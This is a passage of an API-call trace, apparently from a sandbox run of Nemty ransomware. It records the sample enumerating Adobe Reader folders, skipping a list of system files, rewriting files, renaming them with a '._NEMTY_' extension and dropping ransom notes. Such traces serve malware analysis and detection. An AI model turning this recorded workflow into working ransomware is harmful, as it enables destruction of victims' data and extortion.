pszString="2mZPc4WeKBbVkcK1sjd4voxDwj7WGTZsDauA27sEaxN6o7agx8MlzSPYJFk42fQD\r\nyQVwHsvdUBBoxwIIXJkl46o3TYxLbhI07cMe+HBuSmGPztZxQRpl4Qqd36t4MvJ3\r\nGCJm/+GXwsUa/h2P86xZWzTL5sw/GGz0RId3zOLiww/KZJei/5ESnnJQ84HL38M7\r\nSi49j6RFzn/tVUF/VmsSC3JlWyZ/DiKt+mzYlTq31SD3ZEnIM+a+uOFu5CyKcqqC\r\nEkwhSBNf5tK3K4xa+B+5aKGeudh0GwBPg+Jdb0KluCCYVwpBgMq+aITv+Ve4T1GF\r\nC320A0v7EJQRCmovdtNWZQ==\r\n", pcchString=0x653e5dc) returned 1 [0172.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.628] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.629] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=70327) returned 1 [0172.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x112b0) returned 0x6352c48 [0172.629] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.629] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x112b0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x112b0, lpOverlapped=0x0) returned 1 [0172.635] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.635] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x112b0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x112b0, lpOverlapped=0x0) returned 1 [0172.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.636] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=70327, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x112b7 [0172.636] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.636] CloseHandle (hObject=0x3b0) returned 1 [0172.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.636] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html._nemty_kgobjgd_")) returned 1 [0172.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.637] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a85b1b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a85b1b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a881310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.637] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.638] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a85b1b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a85b1b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a881310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.638] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.638] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2=".") returned 1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="..") returned 1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="...") returned 1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="windows") returned -1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="$RECYCLE.BIN") returned 1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="rsa") returned -1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="NTDETECT.COM") returned -1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="ntldr") returned -1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="MSDOS.SYS") returned -1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="IO.SYS") returned -1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="boot.ini") returned 1 [0172.638] lstrcmpiW (lpString1="DAN", lpString2="boot.ini") returned 1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="AUTOEXEC.BAT") returned 1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="ntuser.dat") returned -1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="desktop.ini") returned -1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="CONFIG.SYS") returned 1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="RECYCLER") returned -1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="BOOTSECT.BAK") returned 1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="bootmgr") returned 1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="programdata") returned -1 [0172.639] lstrcmpiW (lpString1="DAN", lpString2="appdata") returned 1 [0172.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAN", lpUsedDefaultChar=0x0) returned 3 [0172.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAN", lpUsedDefaultChar=0x0) returned 3 [0172.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.640] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.640] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.641] CloseHandle (hObject=0x254) returned 1 [0172.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.642] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.642] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.643] CloseHandle (hObject=0x254) returned 1 [0172.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.643] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a8a7470, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a8a7470, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.644] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.644] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a8a7470, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a8a7470, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.644] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.644] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.644] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.644] 